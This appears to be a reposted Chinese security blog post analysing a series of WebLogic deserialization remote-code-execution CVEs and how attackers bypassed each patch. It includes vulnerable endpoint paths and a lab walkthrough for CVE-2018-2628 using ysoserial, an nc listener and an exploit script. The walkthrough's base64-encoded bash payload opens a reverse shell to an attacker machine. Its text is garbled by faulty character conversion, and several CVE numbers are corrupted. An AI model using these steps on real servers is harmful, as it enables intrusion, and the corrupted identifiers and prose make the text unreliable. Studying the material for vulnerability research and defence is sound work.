縫縫補補的WebLogic：繞過的藝術

前言

目前Weblogic在全球的使用量佔居前列，據統計，在全球範圍內對互聯網開放Weblogic服務的資產數量多達35382臺，其中歸屬中國地區的資產數量爲10562臺。若是爆發一個Weblogic高危漏洞，那將會給中國的大量用戶帶來巨大的災難。

本文主要介紹了近五年爆發的Weblogic反序列化的高危漏洞，一次又一次的修補，一次又一次的繞過，漏洞挖掘者和漏洞防護者之間的博弈從未中止過，並且這種博弈在從此的生活中也將會愈演愈烈。

0×01 Weblogic簡介

Weblogic是美國Oracle公司出品的一個應用服務器(application server)，確切的說是一個基於Java EE架構的中間件，是用於開發、集成、部署和管理大型分佈式Web應用、網絡應用和 數據庫應用的Java應用服務器。

Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中，是商業市場上主要的Java（Java EE）應用服務器軟件之一，也是世界上第一個成功商業化的Java EE應用服務器，具備可擴展性、快速開發、靈活、可靠等優點。

在功能性上，Weblogic是Java EE的全能應用服務器，包括EJB 、JSP、servlet、JMS等，是商業軟件裏排名第一的容器（JSP、servlet、EJB等），並提供其餘工具（例如Java編輯器），所以也是一個綜合的開發及運行環境。

在擴展性上，Weblogic Server憑藉其出色的羣集技術，擁有處理關鍵Web應用系統問題所需的性能、可擴展性和高可用性。Weblogic Server既實現了網頁羣集，也實現了EJB組件羣集，並且不須要任何專門的硬件或操做系統支持。網頁羣集能夠實現透明的複製、負載平衡以及表示內容容錯。不管是網頁羣集，仍是組件羣集，對於電子商務解決方案所要求的可擴展性和可用性都是相當重要的。

目前Weblogic在全球的使用量也佔居前列，據統計，在全球範圍內對互聯網開放Weblogic服務的資產數量多達35382臺，美國和中國的Weblogic的使用量接近Weblogic總使用量的70%，其中歸屬中國地區的資產數量爲10562臺。

這樣的話，若是爆發一個Weblogic高危漏洞，那將會給中國的大量用戶帶來巨大的災難。

0×02 高危漏洞介紹

Weblogic漏洞有不少，可是五年以前的大多數漏洞只是小打小鬧，對服務器並不能形成巨大的影響。然而，自從2015年11月6日，FoxGlove Security 安全團隊的 @breenmachine 在博客中介紹瞭如何利用Java反序列化和 Apache Commons Collections 這一基礎類庫來攻擊最新版的 Weblogic、WebSphere、JBoss等主流的Java服務器，而且均可以實現遠程代碼執行，Weblogic變得再也不安全。

道高一尺魔高一丈，伴隨着Weblogic補丁的不斷髮布，各類的繞過方法也是不斷地更新。下面介紹一下近5年來讓Oracle頭痛不已的Weblogic反序列化漏洞。

高危漏洞主要涉及到兩個種類：

利用xml decoded反序列化進行遠程代碼執行的漏洞，例如：CVE-2017-10271，CVE-2017-3506。

利用java反序列化進行遠程代碼執行的漏洞，例如：CVE-2015-485二、CVE-2016-063八、CVE-2016-35十、CVE-2017-324八、CVE-2018-262八、CVE-2018-2894。

xml decoded反序列化RCE漏洞

1. CVE-2017-3506

此漏洞主要是因爲wls組件使用了webservice來處理soap請求，在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中，當localHeader1和localHeader2都不爲null時，將會把<work:WorkContext>所包含的數據傳入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法。在此方法中，對WorkContextXmlInputAdapter類進行了實例化，並調用WorkContextXmlInputAdapter類的構造方法，經過XMLDecoder()進行反序列化操做。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest代碼以下圖所示：

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld代碼以下圖所示：

weblogic.wsee.workarea.WorkContextXmlInputAdapter代碼以下圖所示：

CVE-2017-3506 POC

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

在上方8個路徑中任意選擇一個路徑，將content-type改爲text/xml類型，傳入payload，便可利用漏洞。

在上方的POC中，閉合的<work:WorkContext>中能夠構造任何咱們想要執行的命令。在前後引用java.beans.XMLDecoder、java.lang.ProcessBuilder、java.lang.String以後，即可以在index中設定參數序號，並在string標籤中傳入想要遠程執行的命令。

1. CVE-2017-10271漏洞

CVE-2017-10271是基於CVE-2017-3506漏洞原理基礎上，對CVE-2017-3506修復補丁的一次繞過。下圖是CVE-2017-3506修復補丁的部分代碼：

圖中紅框內的代碼是限制CVE-2017-3506漏洞利用的黑名單，此次補丁修補得很是的簡陋，僅僅是根據POC中的object標籤進行了修補，因此很快就出現了CVE-2017-10271漏洞。

CVE-2017-10271的POC與CVE-2017-3506的POC很類似，只是將object標籤換成了array或void等標籤，便可觸發遠程代碼執行漏洞。

所以，在CVE-2017-10271漏洞爆發以後，Oracle官方也進行了補丁的完善，這一次的補丁考慮得比較全面，在黑名單中又添加了new、method、void、array等關鍵字進行漏洞修補，成功防護了CVE-2017-10271漏洞。

java反序列化RCE漏洞

1. CVE-2015-4852漏洞

此漏洞主要是因爲apache的標準庫中Apache Commons Collections基礎庫的TransformedMap類。當TransformedMap內的key或者value發生變化時，就會觸發相應的Transformer的transform()方法。同時也能夠利用Transformer數組來構造ChainedTransformer，從而觸發內部的InvokerTransformer類，在這個類中能夠利用java的反射機制來得到Runtime.getRuntime().exec方法，利用這個方法來執行任意命令。

經過AnnotationInvocationHandler類來重寫readObject()方法，而且經過內部的memberValue.setValue()方法構造惡意的TransformedMap對象，改變TransformedMap中的key或value，經過反序列化執行構造的命令。這裏推薦你們瞭解一下ysoserial這個工具。

工具中集成了各類java反序列化漏洞利用的payload。下圖是ysoserial工具中有關於java反射機制的代碼。

圖片中便是利用Transformer數組觸發InvokerTransformer類，利用java反射機制得到Runtime.getRuntime().exec方法，從而達到執行任意命令的目的。

CVE-2015-4852 POC（序列化）

序列化中的cmd字段表明着想要遠程執行的命令，使用python中binascii.b2a_hex函數轉換成序列化插在相應的位置上。在這裏再爲你們推薦一款分析java序列化結構的工具——SerializationDumper，下圖是經過SerializationDumper轉換後的序列化的結構：

圖中紅框內是序列化中插入遠程執行命令的序列化，同時對應着序列化解碼以後的命令。經過這個分析工具，咱們能夠準確的找到序列化遠程命令插入的位置，以及序列化的結構和引用的函數，讓分析java反序列化漏洞的payload的工做變得更加便利。

1. CVE-2016-0638漏洞

此漏洞是基於CVE-2015-4852漏洞進行黑名單的繞過，CVE-2015-4852補丁主要應用在三個位置上：

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class   

weblogic.iiop.Utils.class

因此若是能找到能夠在其readObject中建立本身的InputStream的對象，而且不是使用黑名單中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal進行的反序列化，最後調用readObject()方法進行反序列化的數據的讀取，這樣就能夠執行含有惡意代碼的序列化代碼。CVE-2016-0638漏洞就是依據這個思路找到了weblogic.jms.common.StreamMessageImpl類，其中的readExternal()方法也符合攻擊的需求。攻擊者能夠在其中構造一個惡意的ObjectInputStream來實現payload內部的InputStream建立，調用readObject()方法實現攻擊。

CVE-2016-0638 POC（序列化）

此漏洞利用方式也應用到了後續要介紹的CVE-2018-2893漏洞中。

1. CVE-2016-3510漏洞

此漏洞是與CVE-2016-0638漏洞利用方式類似，只是選擇了weblogic.corba.utils.MarshalledObject進行繞過，繞過以前的CVE-2015-4852和CVE-2016-0638漏洞的修復補丁。

CVE-2016-3510 POC（序列化）

CVE-2016-3510的POC中插入的想要執行的命令的形式很特殊，必需要插入相似於bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}這種形式的命令才能夠達到攻擊效果，這是由於使用了java.lang.Runtime.exec(String)語句而致使的一些限制。首先是不支持shell操做符，如輸出重定向以及管道。其次是傳遞給payload命令的參數中不能包含空格。

4.CVE-2017-3248漏洞

CVE-2017-3248漏洞爆發以前，Apache Commons Collections基礎的漏洞已經進行修補，因此CVE-2017-3248漏洞利用方法與以前三個漏洞不一樣，此次主要是利用了JRMP Java遠程方法協議。利用java.rmi.registry.Registry，序列化RemoteObjectInvocationHandler，並使用UnicastRef和遠端創建tcp鏈接，獲取RMI registry，最終將加載的內容利用readObject()進行解析，致使以前序列化的惡意代碼執行。下圖是ysoserial中相應的payload：

CVE-2017-3248 POC（序列化）

下圖是通過SerializationDumper工具轉換後的payload結構：

圖中紅框內標註的則是負責鏈接監聽端口的payload，這個payload的做用，筆者會在下面的CVE-2018-2628漏洞中進行操做和解釋的。

1. CVE-2018-2628漏洞

CVE-2018-2628漏洞與CVE-2017-3248漏洞利用方法相似，僅僅更換了使用的rmi接口，用java.rmi.activation.Activator替換了CVE-2017-3248所使用的java.rmi.registry.Registry，從而繞過resolveProxyClass的判斷，成功繞過了CVE-2017-3248漏洞的修復補丁。其餘攻擊流程相同。

CVE-2018-2628 POC（反序列化）

下圖是通過SerializationDumper工具轉換後的payload結構：

圖中紅框內標註的則是負責鏈接監聽端口的payload。下面介紹一下利用CVE-2018-2628漏洞的方法（一樣也適用於CVE-2017-3248）。

環境：

192.168.16.1 (nc開啓監聽端口，爲了驗證遠程代碼攻擊是否成功，同時也是進行CVE-2018-2628漏洞攻擊的攻擊機)

192.168.16.2 (開啓存在CVE-2018-2628漏洞的Weblogic服務的服務器，被攻擊的目標)

192.168.16.3 (利用JRMPListener開啓監聽端口)

服務器192.168.16.2(Weblogic-10.3.6.0) 開啓Weblogic服務：

192.168.16.3中執行：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099

CommonsCollections5 'bash -c

{echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}指令經過ysoserial工具生成payload（注意，這裏的指令須要是bash -c {echo,BASE64}|{base64,-d}|{bash,-i}格式，這裏貼出一個生成這種格式的在線網站：http://jackson.thuraisamy.me/...）。

192.168.16.1中執行：

nc -nlvp 4040開啓服務進行監聽4040端口；

python exploit.py 192.168.16.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.16.3 1099 JRMPClient2指令執行payload。

至此，整套攻擊流程就已經執行完畢。剩下的只須要等待着服務器鏈接到攻擊機，漏洞就利用成功了。

1. CVE-2017-2893漏洞

CVE-2018-2893漏洞，一樣是對resolveProxyClass函數進行繞過，致使攻擊者能夠利用UnicastRef和遠端創建tcp鏈接，獲取RMI registry，再將加載的內容利用readObject解析，從而形成反序列化遠程代碼執行。

CVE-2018-2893漏洞繞過方式是利用StreamMessageImpl對ysoserial工具中的JRMPClient生成的payloadObject進行封裝，因爲StreamMessageImpl在進行反序列化時並不會被resolveProxyClass檢測，致使繞過的產生，最後成功的進行了反序列化攻擊。

下面的兩張圖片分別是streamMessageImpl的封裝和JRMPClient：

CVE-2018-2893 POC（序列化）

CVE-2018-2893的POC至關於CVE-2016-0638和CVE-2017-3248的結合體，將CVE-2016-0638的StreamMessageImpl類封裝CVE-2017-3248的JRMPClient，從而造成了CVE-2018-2893的POC。

0×03 展望

以上主要介紹了近五年爆發的Weblogic反序列化的高危漏洞，一次又一次的修補，一次又一次的繞過，漏洞挖掘者和漏洞防護者之間的博弈從未中止過，並且這種博弈在從此的生活中也將會愈演愈烈。

目前Weblogic的修補措施還只是將網上流傳的POC中比較危險的函數寫入黑名單加以控制，可是這些被限制的函數會有許許多多的替代函數，並且每個替代函數都會輕輕鬆鬆地繞過黑名單，形成新的Weblogic反序列化漏洞的造成。若是Weblogic僅僅侷限於修補發佈的POC，那麼補丁的繞過頗有可能會一直進行下去。修補與繞過，下一個漏洞纔是最精彩的！

做爲漏洞分析研究員，咱們的職責就是深度剖析漏洞原理，而且思考是否有其餘的利用方式。這是一場白帽子與黑帽子之間的時間賽跑，咱們要搶奪先機，提早發現漏洞利用的手段，防止其餘黑帽子經過網絡攻擊干擾咱們正常的生活。

Weblogic漏洞在修復與繞過的交相呼應下變得精彩，而又富有藝術。網絡安全在防護與攻擊的博弈中也變得迷人，而又富有魅力。同時，也正是由於這種博弈，咱們的網絡環境纔會變得更加安全，更加堅如盤石。

做者：CanMengBlog
來源：CSDN
原文：https://blog.csdn.net/weixin_... 版權聲明：本文爲博主原創文章，轉載請附上博文連接！